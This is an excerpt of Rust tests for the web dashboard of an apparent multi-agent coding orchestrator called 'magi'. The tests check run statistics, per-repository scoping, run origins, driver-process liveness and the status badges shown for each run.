17816 let body = &APP_JS[start..];
17817 let body = &body[..body.find("\n}\n").expect("function end")];
17818 assert!(body.contains("s.seq += 1"));
17819 }
17820
17821 #[tokio::test]
17826 async fn stats_runs_unreadable_matches_health() {
17827 let f = Fixture::start().await;
17828 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17829 let broken = f.runs().join("20260902-140502-bad");
17830 std::fs::create_dir_all(&broken).expect("run dir");
17831 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17832
17833 let stats = f.get("/api/stats").await;
17834 let health = f.get("/api/health").await;
17835
17836 assert_eq!(stats.status, 200);
17837 assert_eq!(stats.json()["totals"]["runs"], 1);
17838 assert_eq!(stats.json()["runs_unreadable"], 1);
17839 assert_eq!(
17840 stats.json()["runs_unreadable"],
17841 health.json()["runs_unreadable"],
17842 "the dashboard and /api/health must never disagree about how many \
17843 runs could not be read"
17844 );
17845 }
17846
17847 #[tokio::test]
17848 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17849 let f = Fixture::start().await;
17850 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17851 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17852 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17853
17854 let totals = &f.get("/api/stats").await.json()["totals"];
17855 assert_eq!(totals["runs"], 3);
17856 assert_eq!(totals["merged"], 1);
17857 assert_eq!(totals["stalled"], 1);
17858 assert_eq!(totals["in_progress"], 1);
17859 assert_eq!(totals["blocked"], 0);
17862 assert_eq!(totals["ready"], 0);
17863 }
17864
17865 #[tokio::test]
17866 async fn stats_advisors_report_proposals_and_reflection() {
17867 use crate::advise::{Advice, AdvisorRecord, Reflection};
17868 use crate::verdict::Proposal;
17869
17870 let f = Fixture::start().await;
17871 let mut state = RunState::new(
17872 PathBuf::from("/repo/magi"),
17873 "main".to_owned(),
17874 "0123456789abcdef".to_owned(),
17875 "task".to_owned(),
17876 Config::default(),
17877 );
17878 state.id = "20260902-140501-a".to_owned();
17879 state.status = RunStatus::Merged;
17880 state.advice = Some(Advice {
17881 records: vec![
17882 AdvisorRecord {
17883 seat: "advisor-1".to_owned(),
17884 agent: "alpha".to_owned(),
17885 proposal: Some(Proposal {
17886 approach: "do it".to_owned(),
17887 key_tradeoff: "speed over memory".to_owned(),
17888 risks: Vec::new(),
17889 touches: Vec::new(),
17890 why_not_naive: "breaks under load".to_owned(),
17891 }),
17892 error: None,
17893 duration_ms: 0,
17894 reflection: Reflection::Strong,
17895 },
17896 AdvisorRecord {
17897 seat: "advisor-2".to_owned(),
17898 agent: "alpha".to_owned(),
17899 proposal: None,
17900 error: Some("timed out".to_owned()),
17901 duration_ms: 0,
17902 reflection: Reflection::Absent,
17903 },
17904 ],
17905 synthesis: Some("blended brief".to_owned()),
17906 });
17907 let dir = f.runs().join(&state.id);
17908 std::fs::create_dir_all(&dir).expect("run dir");
17909 std::fs::write(
17910 dir.join("run.json"),
17911 serde_json::to_string_pretty(&state).expect("serialize run"),
17912 )
17913 .expect("write run.json");
17914
17915 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17917 let alpha = advisors
17918 .as_array()
17919 .expect("an array")
17920 .iter()
17921 .find(|a| a["agent"] == "alpha")
17922 .expect("alpha row");
17923 assert_eq!(alpha["seated"], 2);
17924 assert_eq!(alpha["proposed"], 1);
17925 assert_eq!(alpha["absent"], 1);
17926 assert_eq!(alpha["strong"], 1);
17927 assert_eq!(alpha["faint"], 0);
17928 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17929 }
17930
17931 #[tokio::test]
17932 async fn stats_hides_agents_outside_the_roster_unless_all() {
17933 use crate::run::Candidate;
17934 let repo = TempDir::new().expect("repo dir");
17935 std::fs::write(
17936 repo.path().join("magi.toml"),
17937 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17938 )
17939 .expect("magi.toml");
17940 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17941 let mut state = RunState::new(
17942 PathBuf::from("/repo/magi"),
17943 "main".to_owned(),
17944 "0123456789abcdef".to_owned(),
17945 "task".to_owned(),
17946 Config::default(),
17947 );
17948 state.id = "20260902-140501-a".to_owned();
17949 state.status = RunStatus::Merged;
17950 for (label, agent) in [('A', "keep"), ('B', "retired")] {
17951 let mut c: Candidate = serde_json::from_value(serde_json::json!({
17952 "index": 0, "label": label.to_string(), "agent": agent,
17953 "branch": "b", "worktree": "/w",
17954 }))
17955 .expect("candidate");
17956 c.label = label;
17957 state.candidates.push(c);
17958 }
17959 let dir = f.runs().join(&state.id);
17960 std::fs::create_dir_all(&dir).expect("run dir");
17961 std::fs::write(
17962 dir.join("run.json"),
17963 serde_json::to_string_pretty(&state).expect("serialize run"),
17964 )
17965 .expect("write run.json");
17966
17967 let agents_of = |v: &serde_json::Value| -> Vec<String> {
17968 v["agents"]
17969 .as_array()
17970 .expect("array")
17971 .iter()
17972 .map(|a| a["agent"].as_str().unwrap().to_owned())
17973 .collect()
17974 };
17975 let hidden = f.get("/api/stats").await.json();
17976 assert_eq!(agents_of(&hidden), ["keep"]);
17977 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17978 assert_eq!(hidden["totals"]["runs"], 1);
17979
17980 let all = f.get("/api/stats?all=true").await.json();
17981 assert_eq!(agents_of(&all).len(), 2);
17982 assert_eq!(all["retired_hidden"], serde_json::json!([]));
17983 let keep_agent = all["agents"]
17985 .as_array()
17986 .unwrap()
17987 .iter()
17988 .find(|a| a["agent"] == "keep")
17989 .unwrap();
17990 assert_eq!(keep_agent["competitive_entered"], 1);
17991 assert_eq!(keep_agent["competitive_wins"], 0);
17992 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
17993 assert_eq!(keep_agent["solo_entered"], 0);
17994 assert_eq!(keep_agent["solo_adopted"], 0);
17995 assert!(keep_agent["solo_adoption_rate"].is_null());
17996 }
17997
17998 #[tokio::test]
17999 async fn stats_release_bumps_split_clean_from_attention() {
18000 use crate::run::ReleaseBump;
18001
18002 let f = Fixture::start().await;
18003
18004 let mut clean = RunState::new(
18005 PathBuf::from("/repo/magi"),
18006 "main".to_owned(),
18007 "0123456789abcdef".to_owned(),
18008 "task".to_owned(),
18009 Config::default(),
18010 );
18011 clean.id = "20260902-140501-a".to_owned();
18012 clean.status = RunStatus::Merged;
18013 clean.release_bump = Some(ReleaseBump {
18014 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18015 version: Some("1.0.0".to_owned()),
18016 automerge_enabled: true,
18017 merged_directly: false,
18018 local: false,
18019 release: None,
18020 problem: None,
18021 action_required: None,
18022 });
18023
18024 let mut blocked = RunState::new(
18025 PathBuf::from("/repo/magi"),
18026 "main".to_owned(),
18027 "0123456789abcdef".to_owned(),
18028 "task".to_owned(),
18029 Config::default(),
18030 );
18031 blocked.id = "20260902-140502-b".to_owned();
18032 blocked.status = RunStatus::Merged;
18033 blocked.release_bump = Some(ReleaseBump {
18034 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18035 version: Some("1.0.1".to_owned()),
18036 automerge_enabled: false,
18037 merged_directly: false,
18038 local: false,
18039 release: None,
18040 problem: Some("checks red".to_owned()),
18041 action_required: Some("look at the PR".to_owned()),
18042 });
18043
18044 for state in [&clean, &blocked] {
18045 let dir = f.runs().join(&state.id);
18046 std::fs::create_dir_all(&dir).expect("run dir");
18047 std::fs::write(
18048 dir.join("run.json"),
18049 serde_json::to_string_pretty(state).expect("serialize run"),
18050 )
18051 .expect("write run.json");
18052 }
18053
18054 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18055 assert_eq!(bumps["merged"], 2);
18056 assert_eq!(bumps["recorded"], 2);
18057 assert_eq!(bumps["pr_opened"], 2);
18058 assert_eq!(bumps["automerge_enabled"], 1);
18059 assert_eq!(bumps["needs_attention"], 1);
18060 assert_eq!(bumps["clean"], 1);
18061 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18062 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18063 }
18064
18065 #[tokio::test]
18066 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18067 let f = Fixture::start().await;
18068 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18069
18070 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18071 assert_eq!(bumps["merged"], 1);
18072 assert_eq!(bumps["recorded"], 0);
18073 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18076 assert_eq!(bumps["automerge_rate"], Value::Null);
18079 assert_eq!(bumps["attention_rate"], Value::Null);
18080 }
18081
18082 #[tokio::test]
18083 async fn stats_queue_counts_come_from_the_live_queue() {
18084 let f = Fixture::start().await;
18085 let q = f.queue();
18086 let mut queued = Task::new(
18087 "queued task".to_owned(),
18088 "do it".to_owned(),
18089 PathBuf::from("/repo"),
18090 Source::Human,
18091 );
18092 q.put(&mut queued).expect("put queued");
18093 let mut held = Task::new(
18094 "held task".to_owned(),
18095 "do it later".to_owned(),
18096 PathBuf::from("/repo"),
18097 Source::Human,
18098 );
18099 held.hold_machine(Some("out of attempts".to_owned()));
18100 q.put(&mut held).expect("put held");
18101
18102 let queue = f.get("/api/stats").await.json()["queue"].clone();
18103 assert_eq!(queue["queued"], 1);
18104 assert_eq!(queue["held"], 1);
18105 assert_eq!(queue["running"], 0);
18106 assert_eq!(queue["done"], 0);
18107 assert_eq!(queue["failed"], 0);
18108 assert_eq!(queue["blocked"], 0);
18109 }
18110
18111 #[tokio::test]
18112 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18113 let f = Fixture::start().await;
18114 let stats = f.get("/api/stats").await;
18115 assert_eq!(stats.status, 200);
18116 assert_eq!(stats.json()["totals"]["runs"], 0);
18117 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18118 assert_eq!(stats.json()["runs_unreadable"], 0);
18119 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18120 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18121 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18122 assert_eq!(stats.json()["repo"], Value::Null);
18123 }
18124
18125 #[tokio::test]
18126 async fn stats_lists_every_repository_with_runs_recorded() {
18127 let f = Fixture::start().await;
18128 write_run_repo(
18129 &f.runs(),
18130 "20260902-140501-a",
18131 RunStatus::Merged,
18132 "/repos/a",
18133 );
18134 write_run_repo(
18135 &f.runs(),
18136 "20260902-140502-b",
18137 RunStatus::Merged,
18138 "/repos/a",
18139 );
18140 write_run_repo(
18141 &f.runs(),
18142 "20260902-140503-c",
18143 RunStatus::Blocked,
18144 "/repos/b",
18145 );
18146
18147 let stats = f.get("/api/stats").await;
18148 assert_eq!(stats.status, 200);
18149 assert_eq!(stats.json()["totals"]["runs"], 3);
18151 assert_eq!(stats.json()["repo"], Value::Null);
18152
18153 let repos = stats.json()["repos"].clone();
18154 let repos = repos.as_array().unwrap();
18155 assert_eq!(repos.len(), 2);
18156 assert_eq!(repos[0]["repo"], "/repos/a");
18158 assert_eq!(repos[0]["name"], "a");
18159 assert_eq!(repos[0]["runs"], 2);
18160 assert_eq!(repos[1]["repo"], "/repos/b");
18161 assert_eq!(repos[1]["runs"], 1);
18162 }
18163
18164 #[tokio::test]
18165 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18166 let f = Fixture::start().await;
18167 write_run_repo(
18168 &f.runs(),
18169 "20260902-140501-a",
18170 RunStatus::Merged,
18171 "/repos/a",
18172 );
18173 write_run_repo(
18174 &f.runs(),
18175 "20260902-140502-b",
18176 RunStatus::Blocked,
18177 "/repos/b",
18178 );
18179
18180 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18181 assert_eq!(stats.status, 200);
18182 assert_eq!(stats.json()["totals"]["runs"], 1);
18183 assert_eq!(stats.json()["totals"]["merged"], 1);
18184 assert_eq!(stats.json()["repo"], "/repos/a");
18185 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18188 assert_eq!(stats.json()["runs_unreadable"], 0);
18191 }
18192
18193 #[tokio::test]
18194 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18195 let f = Fixture::start().await;
18196 write_run_repo(
18197 &f.runs(),
18198 "20260902-140501-a",
18199 RunStatus::Merged,
18200 "/repos/a",
18201 );
18202 write_run_repo(
18203 &f.runs(),
18204 "20260902-140502-b",
18205 RunStatus::Merged,
18206 "/repos/b",
18207 );
18208
18209 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18210 let json = f.get(uri).await.json();
18211 let daily = json["daily"].as_array().expect("daily is an array");
18212 assert_eq!(daily.len(), 30);
18213 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18214 let mut sorted = dates.clone();
18215 sorted.sort();
18216 assert_eq!(dates, sorted);
18217 for d in daily {
18218 assert_eq!(
18219 d["merged"].as_u64().unwrap()
18220 + d["ready"].as_u64().unwrap()
18221 + d["other"].as_u64().unwrap(),
18222 d["runs"].as_u64().unwrap()
18223 );
18224 }
18225 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18226 }
18227 }
18228
18229 #[tokio::test]
18230 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18231 let f = Fixture::start().await;
18232 write_run_repo(
18233 &f.runs(),
18234 "20260902-140501-a",
18235 RunStatus::Merged,
18236 "/repos/a",
18237 );
18238
18239 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18240 assert_eq!(stats.status, 404);
18241 }
18242
18243 #[tokio::test]
18244 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18245 let f = Fixture::start().await;
18246 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18247
18248 let summary = f.get("/api/runs").await.json();
18249 let row = &summary[0];
18250 assert_eq!(row["short"], "a1b2");
18251 assert_eq!(row["status"], "ready");
18252 assert_eq!(row["done"], true);
18253 assert_eq!(row["title"], "Add a web UI");
18254 assert_eq!(row["repo_name"], "magi");
18255 assert_eq!(row["judges"], 3);
18256 assert_eq!(row["winner"], Value::Null);
18257 assert_eq!(row["reviews"], 0);
18258
18259 let detail = f.get("/api/runs/a1b2").await;
18262 assert_eq!(detail.status, 200);
18263 assert_eq!(detail.json()["base_branch"], "main");
18264 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18265 }
18266
18267 #[tokio::test]
18275 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18276 let f = Fixture::start().await;
18277
18278 let mut none_run = RunState::new(
18279 PathBuf::from("/repo/magi"),
18280 "main".to_owned(),
18281 "0123456789abcdef".to_owned(),
18282 "Add a web UI".to_owned(),
18283 Config::default(),
18284 );
18285 none_run.id = "20260902-140503-none".to_owned();
18286 none_run.status = RunStatus::Ready;
18287 none_run.merge = Some(crate::run::MergeOutcome {
18288 mode: crate::config::MergeMode::None,
18289 ok: true,
18290 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18291 empty: false,
18292 });
18293 write_state(&f.runs(), &none_run);
18294
18295 let mut pr_run = RunState::new(
18296 PathBuf::from("/repo/magi"),
18297 "main".to_owned(),
18298 "0123456789abcdef".to_owned(),
18299 "Add a web UI".to_owned(),
18300 Config::default(),
18301 );
18302 pr_run.id = "20260902-140504-prcl".to_owned();
18303 pr_run.status = RunStatus::Ready;
18304 pr_run.merge = Some(crate::run::MergeOutcome {
18305 mode: crate::config::MergeMode::Pr,
18306 ok: false,
18307 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18308 empty: false,
18309 });
18310 write_state(&f.runs(), &pr_run);
18311
18312 let summary = f.get("/api/runs").await.json();
18313 let rows: std::collections::HashMap<&str, &Value> = summary
18314 .as_array()
18315 .expect("an array")
18316 .iter()
18317 .map(|r| (r["id"].as_str().expect("an id"), r))
18318 .collect();
18319 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18320 assert_eq!(
18321 rows[none_run.id.as_str()]["unmerged_by_design"],
18322 true,
18323 "a mode-none Ready must be flagged in the list"
18324 );
18325 assert_eq!(
18326 rows[pr_run.id.as_str()]["unmerged_by_design"],
18327 false,
18328 "a Ready reached by a closed pull request is a different case"
18329 );
18330
18331 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18332 assert_eq!(none_detail["status"], "ready");
18333 assert_eq!(none_detail["unmerged_by_design"], true);
18334
18335 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18336 assert_eq!(pr_detail["unmerged_by_design"], false);
18337 }
18338
18339 #[tokio::test]
18344 async fn run_core_survives_unavailable_related_stores() {
18345 let home = TempDir::new().unwrap();
18346 let ui = delta_test_ui(home.path());
18347 let state = RunState::new(
18348 PathBuf::from("/repo/magi"),
18349 "main".into(),
18350 "0123456789abcdef".into(),
18351 "Useful core instructions".into(),
18352 Config::default(),
18353 );
18354 let dir = ui.runs.join(&state.id);
18355 std::fs::create_dir_all(&dir).unwrap();
18356 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18357 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18358 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18359 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18360 .await
18361 .unwrap()
18362 .0;
18363 assert_eq!(core.state.instruction, state.instruction);
18364 assert_eq!(core.state.updated_at, state.updated_at);
18365 assert!(core.task.is_none());
18366 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18367 }
18368
18369 #[tokio::test]
18370 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18371 let f = Fixture::start().await;
18372 let id = "20260902-140502-bbbb";
18376 let mut state = RunState::new(
18377 PathBuf::from("/repo/magi"),
18378 "main".to_owned(),
18379 "0123456789abcdef".to_owned(),
18380 "Add a web UI".to_owned(),
18381 Config::default(),
18382 );
18383 state.id = id.to_owned();
18384 state.status = RunStatus::Judging;
18385 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18386 let dir = f.runs().join(id);
18387 std::fs::create_dir_all(&dir).expect("run dir");
18388 std::fs::write(
18389 dir.join("run.json"),
18390 serde_json::to_string_pretty(&state).expect("serialize run"),
18391 )
18392 .expect("write run.json");
18393
18394 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18400 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18401 assert_eq!(cold["live"], "unknown", "{cold}");
18402
18403 write_daemon(f.home.path(), Timestamp::now());
18406 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18407 assert_eq!(warm["live"], "live", "{warm}");
18408 }
18409
18410 #[test]
18411 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18412 let home = tempfile::tempdir().expect("temp home");
18413 let runs = home.path().join("runs");
18414 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18415 let mut state = RunState::new(
18416 PathBuf::from("/repo/magi"),
18417 "main".to_owned(),
18418 "0123456789abcdef".to_owned(),
18419 "Generated review context, not authored task criteria".to_owned(),
18420 Config::default(),
18421 );
18422 state.origin = origin;
18423 state.status = RunStatus::Blocked;
18424 state.driver_exited = false;
18426 state.gate_ran = true;
18427 let expected = serde_json::to_value(&state).expect("serialize current state");
18428 let mut legacy = expected.clone();
18429 legacy["schema"] = serde_json::json!(13);
18430 legacy.as_object_mut().unwrap().remove("task_instruction");
18431 let dir = runs.join(&state.id);
18432 std::fs::create_dir_all(&dir).expect("run dir");
18433 let path = dir.join("run.json");
18434 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18435 std::fs::write(&path, &body).expect("write legacy run");
18436
18437 for loaded in [
18438 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18439 read_run(&runs, &state.id).expect("web migration"),
18440 ] {
18441 assert_eq!(loaded.schema, crate::run::SCHEMA);
18442 assert!(loaded.task_instruction.is_none());
18443 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18444 }
18445 assert_eq!(runs_unreadable(&runs), 0);
18446 assert_eq!(std::fs::read(&path).unwrap(), body);
18447 }
18448 }
18449
18450 #[tokio::test]
18453 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18454 let f = Fixture::start().await;
18455 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18456 let mut state = RunState::new(
18457 PathBuf::from("/repo/magi"),
18458 "main".to_owned(),
18459 "0123456789abcdef".to_owned(),
18460 "Add a web UI".to_owned(),
18461 Config::default(),
18462 );
18463 state.id = id.to_owned();
18464 state.origin = origin;
18465 let mut value = serde_json::to_value(&state).expect("serialize run");
18466 if let Some(schema) = schema {
18467 value["schema"] = serde_json::json!(schema);
18468 value.as_object_mut().unwrap().remove("origin");
18469 }
18470 let dir = f.runs().join(id);
18471 std::fs::create_dir_all(&dir).expect("run dir");
18472 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18473 };
18474 write(
18475 "20260930-092817-ec34",
18476 Some(crate::run::Origin::from_agent_env(
18477 Some(("4a7b".to_owned(), "chat".to_owned())),
18478 None,
18479 )),
18480 None,
18481 );
18482 write("20260930-092817-0ld1", None, Some(12));
18483
18484 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18485 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18486 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18487
18488 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18489 assert_eq!(
18490 old["origin_label"], "origin unknown (started before origins were recorded)",
18491 "{old}"
18492 );
18493 assert!(old["origin"].is_null(), "{old}");
18494
18495 let list = f.get("/api/runs").await.json();
18496 let labels: Vec<_> = list
18497 .as_array()
18498 .unwrap()
18499 .iter()
18500 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18501 .collect();
18502 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18503 }
18504
18505 #[tokio::test]
18512 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18513 let f = Fixture::start().await;
18514 let id = "20260922-090000-cccc";
18515 let mut state = RunState::new(
18516 PathBuf::from("/repo/magi"),
18517 "main".to_owned(),
18518 "0123456789abcdef".to_owned(),
18519 "Review only".to_owned(),
18520 Config::default(),
18521 );
18522 state.id = id.to_owned();
18523 state.status = RunStatus::Reviewing;
18524 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18525 state.driver_pid = Some(std::process::id());
18531 state.driver_started_at = Some(
18532 crate::proc::process_started_at(std::process::id())
18533 .expect("this test process's own start time must be queryable"),
18534 );
18535 let dir = f.runs().join(id);
18536 std::fs::create_dir_all(&dir).expect("run dir");
18537 std::fs::write(
18538 dir.join("run.json"),
18539 serde_json::to_string_pretty(&state).expect("serialize run"),
18540 )
18541 .expect("write run.json");
18542
18543 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18544 assert_eq!(detail["live"], "live", "{detail}");
18545 }
18546
18547 #[tokio::test]
18553 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18554 let f = Fixture::start().await;
18555 let id = "20260922-090100-dddd";
18556 let mut state = RunState::new(
18557 PathBuf::from("/repo/magi"),
18558 "main".to_owned(),
18559 "0123456789abcdef".to_owned(),
18560 "Review only".to_owned(),
18561 Config::default(),
18562 );
18563 state.id = id.to_owned();
18564 state.status = RunStatus::Reviewing;
18565 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18566 state.driver_pid = Some(std::process::id());
18571 state.driver_started_at = Some("1".to_owned());
18572 let dir = f.runs().join(id);
18573 std::fs::create_dir_all(&dir).expect("run dir");
18574 std::fs::write(
18575 dir.join("run.json"),
18576 serde_json::to_string_pretty(&state).expect("serialize run"),
18577 )
18578 .expect("write run.json");
18579
18580 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18581 assert_eq!(detail["live"], "dead", "{detail}");
18582 }
18583
18584 #[test]
18588 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18589 let mk = |id: &str, pid: Option<u32>| {
18590 let mut s = RunState::new(
18591 PathBuf::from("/repo/magi"),
18592 "main".to_owned(),
18593 "0123456789abcdef".to_owned(),
18594 "Add a web UI".to_owned(),
18595 Config::default(),
18596 );
18597 s.id = id.to_owned();
18598 s.driver_pid = pid;
18599 s.driver_started_at = Some("1790000000".to_owned());
18600 s
18601 };
18602 let states = vec![
18603 mk("20260902-140502-aaaa", Some(77)),
18604 mk("20260902-140502-bbbb", Some(77)),
18605 mk("20260902-140502-cccc", Some(77)),
18606 mk("20260902-140502-dddd", None),
18607 ];
18608 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18609 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18610 let sup: HashMap<String, String> = [(
18611 "20260902-140502-aaaa".to_owned(),
18612 "20260902-140502-cccc".to_owned(),
18613 )]
18614 .into();
18615
18616 let status_calls = std::cell::Cell::new(0);
18617 let identity_calls = std::cell::Cell::new(0);
18618 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18619 |_| {
18620 status_calls.set(status_calls.get() + 1);
18621 Some(true)
18622 },
18623 |_| {
18624 identity_calls.set(identity_calls.get() + 1);
18625 Some("1790000000".to_owned())
18626 },
18627 ));
18628 let rows = summarize(
18629 states,
18630 &open,
18631 &claimed,
18632 &sup,
18633 |p| probe.borrow_mut().status(p),
18634 |p| probe.borrow_mut().started_at(p),
18635 );
18636
18637 assert_eq!(status_calls.get(), 1, "one pid, one status query");
18638 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18639 assert_eq!(rows.len(), 4);
18640 assert!(!rows[0].waiting && rows[1].waiting);
18641 assert_eq!(rows[0].live, crate::run::Liveness::Live);
18642 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18643 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18644 assert_eq!(rows[1].superseded_by, None);
18645 }
18646
18647 #[test]
18648 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18649 let mut state = RunState::new(
18650 PathBuf::from("/repo/magi"),
18651 "main".to_owned(),
18652 "0123456789abcdef".to_owned(),
18653 "Review only".to_owned(),
18654 Config::default(),
18655 );
18656 state.id = "20260922-090200-dead".to_owned();
18657 state.status = RunStatus::Reviewing;
18658 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18659 .expect("serialize list row");
18660 assert_eq!(row["status"], "reviewing");
18661 assert_eq!(row["display_status"], "stale");
18662 assert_eq!(row["live"], "dead", "{row}");
18663 assert!(!row["done"].as_bool().unwrap());
18664 }
18665
18666 #[test]
18667 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18668 use crate::run::Liveness::{Dead, Live, Unknown};
18669 let mut state = RunState::new(
18670 PathBuf::from("/repo/magi"),
18671 "main".to_owned(),
18672 "abc".to_owned(),
18673 "Review only".to_owned(),
18674 Config::default(),
18675 );
18676 for (status, parked, node, waiting, live, expected) in [
18677 (
18678 RunStatus::Judging,
18679 true,
18680 "github-text",
18681 false,
18682 Dead,
18683 "parked",
18684 ),
18685 (RunStatus::Judging, false, "park", false, Dead, "stale"),
18686 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18687 (
18688 RunStatus::Judging,
18689 true,
18690 "github-text",
18691 true,
18692 Dead,
18693 "waiting",
18694 ),
18695 (
18696 RunStatus::Judging,
18697 false,
18698 "github-text",
18699 true,
18700 Dead,
18701 "waiting",
18702 ),
18703 (
18704 RunStatus::Judging,
18705 false,
18706 "github-text",
18707 false,
18708 Dead,
18709 "stale",
18710 ),
18711 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18712 (RunStatus::Judging, true, "park", false, Live, "judging"),
18713 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18714 (RunStatus::Merged, true, "park", false, Dead, "merged"),
18715 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18716 (
18717 RunStatus::Blocked,
18718 true,
18719 "github-text",
18720 true,
18721 Dead,
18722 "waiting",
18723 ),
18724 ] {
18725 state.status = status;
18726 state.parked = parked;
18727 state.events.clear();
18728 state.event(
18729 "park",
18730 "an earlier park does not determine the latest state",
18731 );
18732 state.event(node, "message is not used for classification");
18733 let summary = RunSummary::of(&state, waiting, live);
18734 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18735 assert_eq!(
18736 summary.display_status, expected,
18737 "{status:?}/{node}/{live:?}"
18738 );
18739 assert_eq!(detail.display_status, summary.display_status);
18740 assert_eq!(detail.waiting, summary.waiting);
18741 }
18742 state.status = RunStatus::Judging;
18743 state.parked = false;
18744 state.events.clear();
18745 assert_eq!(run_display_status(&state, false, Dead), "stale");
18746 }
18747
18748 #[test]
18749 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18750 use crate::run::Liveness::{Dead, Live, Unknown};
18751 let mut state = RunState::new(
18752 PathBuf::from("/repo/magi"),
18753 "main".to_owned(),
18754 "abc".to_owned(),
18755 "Badge".to_owned(),
18756 Config::default(),
18757 );
18758 for (status, waiting, live, superseded, expected) in [
18759 (RunStatus::Gating, false, Dead, false, "stale"),
18760 (RunStatus::Gating, false, Dead, true, "superseded"),
18761 (RunStatus::Gating, false, Unknown, true, "superseded"),
18762 (RunStatus::Gating, true, Dead, true, "superseded"),
18763 (RunStatus::Gating, true, Dead, false, "waiting"),
18764 (RunStatus::Gating, false, Unknown, false, "gating"),
18765 (RunStatus::Gating, false, Live, true, "gating"),
18766 (RunStatus::Gating, true, Live, true, "waiting"),
18767 (RunStatus::Merged, false, Dead, true, "merged"),
18768 (RunStatus::Blocked, false, Dead, true, "blocked"),
18769 ] {
